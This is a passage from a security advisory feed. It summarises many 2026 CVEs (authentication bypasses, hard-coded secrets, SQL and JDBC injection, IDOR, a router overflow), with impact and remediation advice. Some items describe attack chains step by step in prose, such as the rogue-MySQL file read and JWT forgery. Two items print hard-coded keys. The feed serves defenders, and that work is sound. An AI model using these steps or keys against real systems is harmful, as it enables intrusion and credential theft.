]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authorization Bypass in sshportal Management Shell</title><link>https://feed.craftedsignal.io/briefs/2026-10-sshportal-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:33 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-sshportal-auth-bypass/</guid><description>An authorization vulnerability in the sshportal management shell allows authenticated non-admin users to retrieve decrypted backend private SSH keys and bypass access controls.</description><content:encoded><![CDATA[<p>sshportal versions 1.19.5 and earlier are affected by a missing authorization vulnerability within the management shell component, specifically tied to the 'key show' command. This flaw permits authenticated users, who lack administrative privileges, to successfully request and view decrypted backend private SSH keys. By querying for predictable key identifiers, such as 'default' or 'host', an attacker can extract sensitive credentials used by the system to communicate with backend infrastructure. The exposure of these keys effectively negates the security posture of the platform, as it permits the attacker to establish direct connections to backend hosts, thereby circumventing configured access control lists (ACLs) and evading centralized session recording mechanisms. This vulnerability (CVE-2026-111638) highlights a critical failure in enforcing role-based access control within the management interface.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-111638 allows unauthorized lateral movement and direct access to backend systems. This bypasses the security auditing and recording features of the sshportal gateway, creating a significant risk of data exfiltration and persistent unauthorized access to managed infrastructure. Organizations relying on sshportal to broker access to critical backend assets are at risk of complete compromise of these assets if any authenticated user account is hijacked or malicious.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade sshportal to the latest patched version beyond 1.19.5 immediately to remediate CVE-2026-111638.</li>
<li>Audit logs for the management shell interface to identify anomalous 'key show' command usage by non-administrative user accounts.</li>
<li>Review and rotate any backend private SSH keys that may have been accessible to non-admin users during the period of exposure.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>privilege-escalation</category><category>authentication-bypass</category></item><item><title>CVE-2026-111636: Authentication Bypass in OpenBMB StaffDeck</title><link>https://feed.craftedsignal.io/briefs/2026-10-openbmb-staffdeck-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-openbmb-staffdeck-auth-bypass/</guid><description>OpenBMB StaffDeck versions through 0.5.6 contain an authentication bypass vulnerability allowing attackers to forge administrator session tokens via a hard-coded app_secret.</description><content:encoded><![CDATA[<p>OpenBMB StaffDeck through version 0.5.6 contains a critical authentication bypass vulnerability (CVE-2026-111636) resulting from the use of a hard-coded default application secret. Because this secret is embedded in the application code rather than dynamically generated, an unauthenticated attacker can perform unauthorized HMAC-SHA256 signing of session tokens. By crafting a token for the 'admin' user within the 'tenant_demo' context, an attacker can bypass all authentication mechanisms to obtain full administrative access to the platform. This access allows the actor to manage stored model configurations and sensitive channel credentials, leading to full tenant compromise. Given the ease of exploitation, this vulnerability poses a significant risk to the confidentiality and integrity of deployments.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation grants an attacker full administrative control over a StaffDeck tenant. Impacted organizations face potential exfiltration of sensitive model data, compromise of channel integration credentials, and unauthorized control over platform operations. The severity is marked as high (CVSS 8.1), reflecting the potential for complete account takeover and data breach within affected environments.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of all StaffDeck instances to a version beyond 0.5.6 that resolves the hard-coded secret vulnerability. As a temporary mitigation, ensure that the application is not exposed to the public internet and verify that the 'tenant_demo' is not utilized in production environments.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>SQL Injection in Helical Insight via /executeDatasource</title><link>https://feed.craftedsignal.io/briefs/2026-10-helical-insight-sql-injection/</link><pubDate>Fri, 16 Oct 2026 18:47:19 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-helical-insight-sql-injection/</guid><description>Helical Insight versions through 7.0.0 contain an authenticated SQL injection vulnerability in the /executeDatasource endpoint that allows attackers to manipulate backend database queries.</description><content:encoded><![CDATA[<p>Helical Insight through version 7.0.0 contains a critical SQL injection vulnerability (CVE-2026-111634) within its report parameter processing mechanism. The flaw resides in the /executeDatasource endpoint, where the application fails to properly sanitize Numeric and String placeholder values. Because the internal SqlDetect filter fails to correctly validate these inputs, an authenticated user can inject arbitrary SQL commands. This vulnerability allows an attacker to bypass existing security controls to perform unauthorized operations, including reading sensitive data from tables that should be restricted or modifying existing records within the report's backend data source. With a CVSS score of 8.1, this flaw presents a significant risk for environments where report viewers have access to sensitive analytical databases.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated attackers to gain unauthorized access to backend database content, potentially leading to data exfiltration or integrity loss. The scope of impact is limited to the data sources accessible by the Helical Insight application, but in enterprise environments, this often includes broad access to business intelligence repositories.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Helical Insight to a version beyond 7.0.0 immediately upon release of a security patch.</li>
<li>Review access logs for the /executeDatasource endpoint to identify unusual parameter payloads containing common SQL injection syntax (e.g., symbols such as single quotes, double dashes, or UNION/SELECT keywords).</li>
<li>Implement strict input validation at the Web Application Firewall (WAF) layer for all requests directed to /executeDatasource to block malicious SQL patterns.</li>
<li>Audit database permissions for the service account utilized by Helical Insight to ensure it adheres to the principle of least privilege, preventing full database compromise in the event of an injection.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authentication Bypass in ZKEACMS via JWT Forgery</title><link>https://feed.craftedsignal.io/briefs/2026-10-zkeacms-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:12 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-zkeacms-auth-bypass/</guid><description>ZKEACMS versions through 4.4 contain a hard-coded HMAC-SHA256 signing key in JwtBearerDefaults.cs, allowing unauthenticated attackers to forge JWT bearer tokens and bypass authentication.</description><content:encoded><![CDATA[<p>ZKEACMS versions up to 4.4 contain a critical security vulnerability involving a hard-coded HMAC-SHA256 signing key located within the JwtBearerDefaults.cs file. This flaw allows unauthenticated remote attackers to generate and sign their own JWT bearer tokens. By crafting a token with the 'Name' claim set to 'admin', an attacker can successfully bypass authentication controls when interacting with the application's REST API. Successful exploitation provides administrative-level access to the ApiAuthorize endpoints, which are protected by the JWT authentication mechanism. This access allows an attacker to perform unauthorized actions including the modification of articles and product listings, as well as the unauthorized extraction of user form submissions stored within the system. Given the nature of the hard-coded key, any instance of ZKEACMS up to version 4.4 is vulnerable if the application utilizes the default JWT authentication configuration.</p>
<h2 id="impact">Impact</h2>
<p>The exploitation of CVE-2026-111633 results in full authentication bypass and unauthorized administrative access to the ZKEACMS REST API. Impacted sectors include organizations using ZKEACMS for content management and e-commerce platforms. Successful exploitation allows for the compromise of site integrity through the unauthorized modification of content and products, as well as the compromise of data privacy through the exfiltration of sensitive form submissions. The ease of exploitation via the static hard-coded key poses a significant risk to the availability, integrity, and confidentiality of the targeted application data.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade all ZKEACMS instances to a version later than 4.4 that remediates the use of hard-coded cryptographic keys.</li>
<li>If an immediate upgrade is not possible, disable the REST API or implement network-level access controls to restrict access to ApiAuthorize endpoints to trusted internal IP ranges.</li>
<li>Audit web server logs for high volumes of API requests containing JWT tokens that deviate from standard issued tokens or show unusual administrative activity from unrecognized sources.</li>
<li>Perform an integrity check on articles and product data to identify any unauthorized modifications potentially performed via the compromised API.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>authentication-bypass</category><category>jwt</category><category>cve-2026-111633</category></item><item><title>Authorization Bypass in HestiaCP</title><link>https://feed.craftedsignal.io/briefs/2026-10-hestiacp-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:04 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-hestiacp-auth-bypass/</guid><description>HestiaCP versions prior to 1.10.5 contain an authorization bypass vulnerability allowing non-privileged administrators to impersonate the ROOT_USER and execute arbitrary cron tasks.</description><content:encoded><![CDATA[<p>HestiaCP versions before 1.10.5 are affected by an authorization bypass vulnerability that enables non-ROOT_USER administrators to perform write operations by impersonating the system's protected ROOT_USER account. The vulnerability stems from a flaw in the application's permission logic where the read-only flag is improperly validated when using the 'loginas' parameter. An attacker with administrative access to a sub-account can exploit this by sending a crafted POST request to the '/add/cron/' endpoint. This action causes the underlying 'crond' service to execute the requested commands with the privileges associated with the protected administrative system account, potentially leading to full system compromise. Defenders should prioritize updating to version 1.10.5 or later to remediate this flaw.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains access to a low-privilege administrator sub-account within the HestiaCP control panel.</li>
<li>Attacker crafts a request utilizing the 'loginas' parameter to assume the context of the ROOT_USER.</li>
<li>Attacker targets the '/add/cron/' API endpoint to initiate a task creation request.</li>
<li>The application fails to validate the read-only restriction for the session context.</li>
<li>The unauthorized write operation is processed, and the cron job is persisted to the system configuration.</li>
<li>The 'crond' daemon schedules the task based on the malicious input.</li>
<li>The system executes the arbitrary command with ROOT_USER privileges.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows a restricted administrator to elevate their privileges to the ROOT_USER level and execute arbitrary system commands. This impacts the confidentiality, integrity, and availability of the hosting server, potentially affecting all hosted websites and databases managed by the HestiaCP instance.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Patch all HestiaCP instances to version 1.10.5 or later immediately.</li>
<li>Audit web server logs for suspicious POST requests to the '/add/cron/' endpoint originating from non-root administrative accounts.</li>
<li>Review all scheduled cron jobs on HestiaCP servers for unauthorized or unexpected entries created by sub-administrators.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Unauthenticated JDBC Injection in AllData</title><link>https://feed.craftedsignal.io/briefs/2026-10-alldata-jdbc-injection/</link><pubDate>Fri, 16 Oct 2026 18:46:54 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-alldata-jdbc-injection/</guid><description>AllData versions 0.7.1 and earlier are vulnerable to unauthenticated JDBC injection via the /jobJdbcDatasource/test endpoint, enabling remote attackers to perform arbitrary file read via the MySQL allowLoadLocalInfile parameter.</description><content:encoded><![CDATA[<p>AllData through version 0.7.1 contains a critical JDBC injection vulnerability in the data-dts component. The flaw exists within the /jobJdbcDatasource/test endpoint, which fails to properly validate user-supplied jdbcUrl and jdbcDriverClass parameters. An unauthenticated remote attacker can exploit this by submitting a specially crafted MySQL JDBC connection string. By setting the allowLoadLocalInfile property to true, an attacker can coerce the application server into initiating a connection to an attacker-controlled MySQL server. Once the connection is established, the attacker can leverage the LOAD DATA LOCAL INFILE capability to extract arbitrary files from the AllData host filesystem, leading to the exposure of sensitive configuration data, credentials, or system files.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies the target AllData instance and the accessible /jobJdbcDatasource/test endpoint.</li>
<li>Attacker sets up a rogue, internet-accessible MySQL server configured to receive incoming connections.</li>
<li>Attacker sends an unauthenticated HTTP POST request to the target endpoint containing malicious JDBC parameters.</li>
<li>The jdbcUrl parameter is set to include the malicious server address and the enableLoadLocalInfile=true flag.</li>
<li>The target application initiates a database connection request to the attacker's server.</li>
<li>The attacker's server responds with a request for a file from the host filesystem.</li>
<li>The target host reads the requested file and exfiltrates its contents to the attacker's infrastructure.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for the unauthorized reading of arbitrary files from the AllData host. This can lead to the compromise of internal system security by exposing sensitive configuration files, environment variables, or private keys. The vulnerability is rated with a CVSS 3.1 base score of 7.5, indicating a significant risk to confidentiality.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately upgrade AllData to a version beyond 0.7.1 that remediates this vulnerability.</li>
<li>Monitor webserver access logs for POST requests to the /jobJdbcDatasource/test path originating from unauthorized or external IP addresses.</li>
<li>Restrict network access to the AllData management interface and specifically the /jobJdbcDatasource/test endpoint to trusted internal networks only.</li>
<li>Implement egress filtering on the AllData host to block unexpected outbound MySQL (3306) or database-related connection attempts to untrusted external destinations.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>jdbc-injection</category><category>data-exfiltration</category></item><item><title>Information Disclosure in netdisk-fast-download via Hard-Coded Credentials</title><link>https://feed.craftedsignal.io/briefs/2026-10-netdisk-info-disclosure/</link><pubDate>Fri, 16 Oct 2026 18:46:44 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-netdisk-info-disclosure/</guid><description>The netdisk-fast-download package through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to decrypt cloud-drive credentials via a hard-coded AES key.</description><content:encoded><![CDATA[<p>The netdisk-fast-download package, specifically versions through 0.4.8, contains a critical information disclosure vulnerability within its ParserApi. Unauthenticated attackers can interact with the /v2/randomAuth endpoint to retrieve encrypted credential blobs. These blobs are secured using a hard-coded AES key, identified as 'nfd_auth_key2026', which is embedded directly within the application code. By performing a simple decryption of the intercepted blob using this static key, an unauthorized party can successfully recover sensitive data belonging to other users. Exposed data includes cloud-drive cookies, authentication tokens, and potentially plain-text passwords. This vulnerability poses a significant risk to user privacy and account security, as it allows for trivial credential harvesting without requiring prior access or specific user interaction.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability directly impacts the confidentiality of user cloud-drive accounts. Successful exploitation grants attackers unauthorized access to victim credentials, enabling them to hijack cloud sessions, exfiltrate sensitive files, or maintain persistence within the victim's storage environment. This issue affects all users running versions of netdisk-fast-download up to and including 0.4.8. Given the nature of the exposed information, this could lead to broad-scale account compromise across the user base.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of netdisk-fast-download to a version beyond 0.4.8 where this hard-coded key has been remediated. Monitor network traffic logs for repeated unauthorized access attempts to the /v2/randomAuth endpoint of the ParserApi. Ensure that any suspected exposure of cloud-drive credentials leads to immediate session invalidation and password rotation for affected accounts.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>credential-access</category><category>information-disclosure</category><category>vulnerability-management</category></item><item><title>IDOR Vulnerability in Jeepay Payment Configuration</title><link>https://feed.craftedsignal.io/briefs/2026-10-jeepay-idor/</link><pubDate>Fri, 16 Oct 2026 18:46:34 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-jeepay-idor/</guid><description>An insecure direct object reference vulnerability in Jeepay versions 3.2.9 and earlier allows authenticated merchant users to overwrite arbitrary payment channel configurations, enabling payment redirection or service disruption.</description><content:encoded><![CDATA[<p>Jeepay, an open-source payment system, contains an insecure direct object reference (IDOR) vulnerability identified as CVE-2026-111607. The vulnerability exists in the MchPayInterfaceConfigController.saveOrUpdate method, which fails to properly validate the ownership of the payment channel configuration being updated. Authenticated merchant users possessing the default ENT_MCH_PAY_CONFIG_ADD permission can exploit this flaw by manipulating the infoId parameter in their requests. By substituting the infoId with that of a victim merchant, an attacker can overwrite critical payment settings, including signing keys, certificates, and fee rates. This allows for the redirection of payment traffic, potential theft of transaction funds, or complete denial of service for the targeted merchant. This vulnerability impacts all Jeepay deployments version 3.2.9 and earlier.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in unauthorized modification of payment processing infrastructure. Victims face significant financial risk, as attackers can intercept transaction signing parameters, redirect payments to unauthorized channels, or disrupt payment operations. This vulnerability poses a severe risk to multi-tenant payment platforms where merchant isolation is critical for financial integrity.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Apply the vendor-provided patch or upgrade to a version of Jeepay beyond 3.2.9 immediately to resolve CVE-2026-111607.</li>
<li>Audit access logs for the MchPayInterfaceConfigController.saveOrUpdate endpoint to identify requests where the infoId parameter does not align with the authenticated session's merchant ID.</li>
<li>Review merchant permission assignments to identify users holding the ENT_MCH_PAY_CONFIG_ADD privilege who should not have access to manage payment configurations.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>idor</category><category>payment-security</category><category>financial-fraud</category></item><item><title>Missing Authorization Vulnerability in Huly Platform</title><link>https://feed.craftedsignal.io/briefs/2026-10-huly-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:46:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-huly-auth-bypass/</guid><description>Huly Platform versions through 0.7.432 contain a missing authorization vulnerability in the mergeSpecifiedPersons RPC, enabling authenticated account takeover.</description><content:encoded><![CDATA[<p>Huly Platform versions through 0.7.432 contain a critical missing authorization vulnerability (CVE-2026-111606) within the 'mergeSpecifiedPersons' account RPC. This flaw allows any authenticated user to merge arbitrary user accounts by providing the corresponding person UUIDs. By leveraging this RPC, an attacker can graft their own unverified social identities onto a victim's account profile. Once the accounts are merged, the attacker can force password recovery or authentication flows to gain full control over the target's account. This vulnerability poses a significant risk to organizational identity integrity within the Huly environment, as it facilitates unauthorized access to arbitrary user accounts without requiring administrative privileges, provided the attacker can identify the target's UUID.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in full account takeover capabilities for any authenticated user within the Huly Platform. This can lead to unauthorized access to sensitive project data, internal communications, and other platform resources associated with the compromised user account. All instances of Huly Platform running versions 0.7.432 and earlier are affected.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized, concrete actions for detection engineering teams:</p>
<ul>
<li>Update Huly Platform to a patched version beyond 0.7.432 immediately.</li>
<li>Review access logs for excessive or unusual calls to the 'mergeSpecifiedPersons' RPC endpoint.</li>
<li>Monitor for anomalous account identity associations or suspicious social login activity linked to previously established user accounts.</li>
<li>Implement restrictive access controls on account management RPCs to prevent unauthorized users from performing identity merge operations.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>identity-management</category><category>authentication-bypass</category><category>cve-2026-111606</category></item><item><title>Authorization Bypass Vulnerability in Jpom SshFileController</title><link>https://feed.craftedsignal.io/briefs/2026-10-jpom-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:46:19 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-jpom-auth-bypass/</guid><description>Jpom versions through 2.11.12 contain an authorization bypass vulnerability allowing authenticated users to perform unauthorized file operations on SSH hosts across different workspaces.</description><content:encoded><![CDATA[<p>Jpom versions up to and including 2.11.12 contain a critical authorization bypass vulnerability located in the SshFileController component, identified as CVE-2026-111605. This vulnerability allows an authenticated user with existing file management permissions in their own workspace to gain unauthorized access to SSH hosts associated with other workspaces. By manipulating the SSH asset identifier within API requests, a malicious user can bypass workspace-level access controls.</p>
<p>This flaw grants the attacker unauthorized access to various file management endpoints, including downloading, uploading, reading, modifying, renaming, and deleting files on the compromised SSH host. The vulnerability represents a significant risk to environment isolation within the Jpom management platform, potentially leading to unauthorized data exfiltration or system modification. Defenders should prioritize patching to the version addressing this authorization flaw.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows for horizontal privilege escalation within Jpom, enabling attackers to execute sensitive file operations on SSH hosts outside their assigned workspace scope. If exploited, an attacker can read, modify, or delete files on any SSH host managed by the Jpom instance, facilitating data theft or persistence via configuration changes. The impact is significant for multi-tenant or multi-workspace environments.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade Jpom to a version released after 2.11.12 that incorporates a patch for CVE-2026-111605.</li>
<li>Implement monitoring on Jpom web API endpoints to alert on unusual usage patterns where a single authenticated session interacts with multiple distinct SSH asset IDs.</li>
<li>Review access logs for the Jpom SshFileController endpoints mentioned (download, upload, read_file_data.json, etc.) to identify anomalies originating from accounts that should only have workspace-restricted access.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>auth-bypass</category><category>cve-2026-111605</category><category>jpom</category><category>privilege-escalation</category></item><item><title>Pre-Authentication Stack Overflow in Netcore NR256CN Routers</title><link>https://feed.craftedsignal.io/briefs/2026-10-netcore-cve-2026-111711/</link><pubDate>Fri, 16 Oct 2026 18:46:12 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-netcore-cve-2026-111711/</guid><description>Netcore NR256CN routers up to version 1.5.140116 are vulnerable to a pre-authentication stack buffer overflow in the Boa web server's user_ok() function, allowing remote code execution or denial-of-service.</description><content:encoded><![CDATA[<p>Netcore NR256CN routers running firmware versions up to 1.5.140116 contain a critical stack-based buffer overflow vulnerability identified as CVE-2026-111711. The flaw exists within the user_ok() function of the embedded Boa web server, which handles Basic authentication. Specifically, the function utilizes an unbounded strcpy() call to copy the username field into a fixed 64-byte stack buffer without performing length validation.</p>
<p>An unauthenticated attacker can exploit this by submitting an HTTP request to any protected /router/*.cgi endpoint with a crafted Authorization header containing a username longer than 63 bytes. Depending on the memory layout and overwrite, this can lead to an immediate crash of the Boa process, resulting in a denial-of-service, or allow for the redirection of execution flow to attacker-controlled payloads. This vulnerability is highly dangerous as it requires no prior authentication and targets core routing infrastructure.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-111711 allows unauthenticated remote attackers to cause a complete denial-of-service of the router's management interface or achieve remote code execution. This poses a significant threat to internal network security, as attackers could potentially gain full control of the network gateway, intercept traffic, or pivot into local segments. The scope includes all Netcore NR256CN devices running firmware 1.5.140116 or earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Restrict access to the router management interface to trusted internal IP ranges only.</li>
<li>Monitor network traffic for HTTP requests to /router/*.cgi endpoints that feature abnormally long Basic authentication headers.</li>
<li>Implement an WAF rule or perimeter filter to drop any incoming HTTP Authorization header where the username string exceeds 63 characters.</li>
<li>Contact the vendor to obtain firmware patches or security updates for the NR256CN product line that address this buffer overflow.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>cve-2026-111711</category><category>vulnerability</category><category>network-device</category><category>remote-code-execution</category><category>denial-of-service</category><category>network-infrastructure</category></item><item><title>Authentication Bypass in WhaTicket Community</title><link>https://feed.craftedsignal.io/briefs/2026-10-whaticket-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:46:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-whaticket-auth-bypass/</guid><description>WhaTicket Community through commit cf04795 is vulnerable to an authentication bypass via the /auth/signup endpoint, allowing unauthenticated attackers to self-register with administrator privileges.</description><content:encoded><![CDATA[<p>WhaTicket Community versions up to and including commit cf04795 contain a critical authentication bypass vulnerability (CVE-2026-111708). The vulnerability exists within the user registration process, specifically at the /auth/signup endpoint. An unauthenticated attacker can submit a crafted HTTP POST request to this endpoint while manipulating the 'profile' parameter. By either omitting the parameter or explicitly setting it to 'admin', the application improperly grants the newly created user administrative privileges. This provides the attacker with full control over the WhaTicket instance, including the ability to manage users, modify system settings, and access sensitive data such as customer tickets, contacts, message history, and linked WhatsApp connections. Given the critical CVSS score of 9.8, this flaw represents a significant risk for any organization hosting WhaTicket Community.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in full administrative takeover of the WhaTicket application. Attackers gain unauthorized access to all stored PII, communication histories, and integrated WhatsApp business accounts. This can lead to massive data exfiltration, the potential for further social engineering attacks leveraging the organization's WhatsApp presence, and complete disruption of customer support operations.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately audit all user accounts within the WhaTicket environment for unauthorized administrator users created through the registration endpoint.</li>
<li>Patch WhaTicket Community to the latest version beyond commit cf04795; if a patch is not available, restrict access to the /auth/signup endpoint at the web application firewall (WAF) or reverse proxy layer until the environment is secured.</li>
<li>Review access logs for excessive POST requests to /auth/signup, particularly those originating from untrusted IP addresses, to identify potential exploitation attempts.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>cve-2026-111708</category><category>web-vulnerability</category></item><item><title>Authentication Bypass in LangChat REST API</title><link>https://feed.craftedsignal.io/briefs/2026-10-langchat-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:45:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-langchat-auth-bypass/</guid><description>A missing Sa-Token interceptor in LangChat allows unauthenticated remote attackers to access sensitive REST controllers, leading to full system compromise and credential exfiltration.</description><content:encoded><![CDATA[<p>LangChat, an LLM-focused application, contains a critical authentication bypass vulnerability (CVE-2026-111704) affecting all versions up to commit 2a6285a. The vulnerability stems from the absence of a required Sa-Token interceptor, which is responsible for enforcing authentication across the application's REST endpoints.</p>
<p>By design, the application fails to validate the identity of remote callers when interacting with REST controllers. This flaw exposes the entire API surface, including administrative functions, to unauthenticated actors. Attackers can leverage this exposure to query system endpoints, such as /api/v1/auth/users, to harvest plaintext passwords and API keys associated with configured LLM providers. Furthermore, the lack of access controls allows for the unauthorized creation of super-administrator accounts and arbitrary data manipulation (CRUD) across the platform. This vulnerability poses an immediate risk to any LangChat instance, enabling complete administrative takeover and persistent unauthorized access.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to exfiltrate highly sensitive data, including user plaintext passwords and LLM provider API keys. The ability to create super-admin accounts permits attackers to maintain persistence, modify system configurations, and delete or manipulate critical business data. Organizations utilizing LangChat for LLM orchestration are at risk of secondary supply chain attacks if LLM provider API keys are compromised, potentially leading to unauthorized costs or model poisoning.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately restrict network access to the LangChat REST API from untrusted or public-facing network segments until the patch is applied.</li>
<li>Audit logs for unauthorized requests to the /api/v1/auth/users endpoint or suspicious creation of administrator-level accounts.</li>
<li>Review and rotate all API keys stored within the LangChat application if the system has been accessible from the internet.</li>
<li>Upgrade LangChat to a version post-dating commit 2a6285a once a vendor fix is available.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>cve</category><category>api-security</category></item><item><title>Authentication Bypass via Hardcoded HMAC Secret in DataBuff ai-apm-web</title><link>https://feed.craftedsignal.io/briefs/2026-10-databuff-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:45:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-databuff-auth-bypass/</guid><description>An unauthenticated authentication bypass vulnerability (CVE-2026-111692) in DataBuff ai-apm-web allows attackers to forge administrative session tokens using a hardcoded HMAC secret.</description><content:encoded><![CDATA[<p>DataBuff ai-apm-web versions 0.1.10 and earlier contain a critical authentication bypass vulnerability (CVE-2026-111692) rooted in the JwtTokenService component. The service utilizes a hardcoded HMAC secret, referred to as 'dev-secret', to sign JSON Web Tokens (JWT). An unauthenticated attacker can leverage this static secret to craft and sign arbitrary session tokens. By setting the token payload to include administrative privileges and a future expiration timestamp, an attacker can bypass all authentication checks. This grants the attacker full administrative access to protected /webapi endpoints, including the Doris SQL query API, facilitating potential unauthorized data access, modification, or further system compromise. The vulnerability is highly severe (CVSS 9.8) because it requires no prior authentication or specialized knowledge of the target environment.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker performs reconnaissance to identify DataBuff ai-apm-web deployments via public-facing services.</li>
<li>Attacker interacts with the target /webapi routes to confirm application presence.</li>
<li>Attacker retrieves the publicly available source code or identifies the hardcoded 'dev-secret' from the JwtTokenService implementation.</li>
<li>Attacker constructs a malicious JWT payload containing 'admin' claims and an extended expiration date.</li>
<li>Attacker signs the malicious JWT using the identified 'dev-secret' HMAC key.</li>
<li>Attacker submits the forged JWT in the 'Authorization' header of HTTP requests directed at protected /webapi endpoints.</li>
<li>DataBuff server validates the forged signature, incorrectly authenticating the request.</li>
<li>Attacker gains full administrative control over the application, including the ability to execute arbitrary queries against the Doris SQL API.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in full administrative access to the ai-apm-web application. Impacted organizations face risks of data exfiltration from the underlying Doris SQL database, unauthorized modification of application settings, and potential secondary exploitation of the host environment. This vulnerability affects all DataBuff ai-apm-web users running version 0.1.10 or earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Patch ai-apm-web to a version containing a remediated, non-hardcoded authentication secret immediately.</li>
<li>Audit logs for suspicious administrative activity originating from anomalous IP addresses or unexpected sessions using forged JWT signatures.</li>
<li>Restrict network access to the /webapi routes to authorized subnets to mitigate exposure to unauthenticated external actors.</li>
<li>Implement centralized monitoring for the Doris SQL query API to detect and block unauthorized query patterns.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>jwt</category><category>web-application</category><category>cve-2026-111692</category><category>credential-access</category><category>api-security</category></item><item><title>Authentication Bypass in Simple Admin Core via Hard-coded Secret</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111690/</link><pubDate>Fri, 16 Oct 2026 18:45:28 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111690/</guid><description>Simple Admin Core versions up to 1.8.7 contain a critical authentication bypass vulnerability allowing attackers to forge administrative JWTs using a hard-coded secret.</description><content:encoded><![CDATA[<p>Simple Admin Core versions 1.8.7 and earlier contain a critical security vulnerability (CVE-2026-111690) that enables unauthenticated attackers to perform a full authentication bypass. The vulnerability stems from the use of a hard-coded value for the 'Auth.AccessSecret' setting found in the 'api/etc/core.yaml' configuration file.</p>
